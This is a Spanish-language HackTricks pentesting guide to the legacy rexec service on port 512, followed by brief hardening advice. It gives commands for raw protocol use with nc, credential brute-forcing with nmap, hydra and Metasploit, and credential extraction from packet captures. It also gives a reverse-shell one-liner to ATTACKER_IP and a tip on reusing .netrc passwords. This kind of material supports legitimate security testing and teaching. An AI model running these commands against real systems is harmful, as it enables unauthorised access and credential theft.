512 - Pentesting Rexec

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información Básica

Rexec (remote exec) es uno de los servicios originales de la suite Berkeley r (junto con rlogin, rsh, …). Proporciona una capacidad de ejecución de comandos remotos autenticada solo con un nombre de usuario y contraseña en texto claro. El protocolo fue definido a principios de la década de 1980 (ver RFC 1060) y hoy en día se considera inseguro por diseño. Sin embargo, todavía está habilitado por defecto en algunos equipos UNIX / conectados a la red heredados y ocasionalmente aparece durante las pruebas internas de pentesting.

Puerto por Defecto: TCP 512 (exec)

PORT    STATE SERVICE
512/tcp open  exec

🔥 Todo el tráfico, incluidos las credenciales, se transmite sin cifrar. Cualquiera con la capacidad de espiar la red puede recuperar el nombre de usuario, la contraseña y el comando.

Vista rápida del protocolo

  1. El cliente se conecta al TCP 512.
  2. El cliente envía tres cadenas terminadas en NUL:
  • el número de puerto (como ASCII) donde desea recibir stdout/stderr (a menudo 0),
  • el nombre de usuario,
  • la contraseña.
  1. Se envía una cadena final terminada en NUL con el comando a ejecutar.
  2. El servidor responde con un solo byte de estado de 8 bits (0 = éxito, 1 = fallo) seguido de la salida del comando.

Eso significa que puedes reproducir el intercambio con nada más que echo -e y nc:

bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512

Si las credenciales son válidas, recibirás la salida de id directamente en la misma conexión.

Uso manual con el cliente

Muchas distribuciones de Linux aún incluyen el cliente legado dentro del paquete inetutils-rexec / rsh-client:

bash
rexec -l user -p password <target> "uname -a"

Si se omite -p, el cliente solicitará interactivamente la contraseña (¡visible en la red en texto claro!).


Enumeración y Fuerza Bruta

Fuerza bruta

Nmap

bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration

nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>

El rexec-brute NSE utiliza el protocolo descrito arriba para intentar credenciales muy rápidamente.

Hydra / Medusa / Ncrack

bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8

hydra tiene un módulo rexec dedicado y sigue siendo el bruteforcer offline más rápido. medusa (-M REXEC) y ncrack (módulo rexec) se pueden usar de la misma manera.

Metasploit

use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run

El módulo generará un shell con éxito y almacenará las credenciales en la base de datos.


Captura de credenciales

Debido a que todo está en texto claro, las capturas de red son invaluables. Con una copia del tráfico, puedes extraer credenciales sin tocar el objetivo:

bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}'  # username:password -> command

(In Wireshark, habilite Decode As …​ TCP 512 → REXEC para ver campos bien analizados.)


Consejos de Post-Explotación

  • Los comandos se ejecutan con los privilegios del usuario proporcionado. Si /etc/pam.d/rexec está mal configurado (por ejemplo, pam_rootok), a veces son posibles shells de root.
  • Rexec ignora el shell del usuario y ejecuta el comando a través de /bin/sh -c <cmd>. Por lo tanto, puede utilizar trucos típicos de escape de shell (;, $( ), comillas invertidas) para encadenar múltiples comandos o generar shells reversos:
bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
  • Las contraseñas a menudo se almacenan en ~/.netrc en otros sistemas; si compromete un host, puede reutilizarlas para movimiento lateral.

Dureza / Detección

  • No exponga rexec; reemplácelo con SSH. Prácticamente todos los inetd superservidores modernos comentan el servicio por defecto.
  • Si debe mantenerlo, restrinja el acceso con envolturas TCP (/etc/hosts.allow) o reglas de firewall y haga cumplir contraseñas fuertes por cuenta.
  • Monitoree el tráfico hacia :512 y los lanzamientos de procesos rexecd. Una sola captura de paquetes es suficiente para detectar un compromiso.
  • Desactive rexec, rlogin, rsh juntos: comparten la mayor parte de la misma base de código y debilidades.

Referencias

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks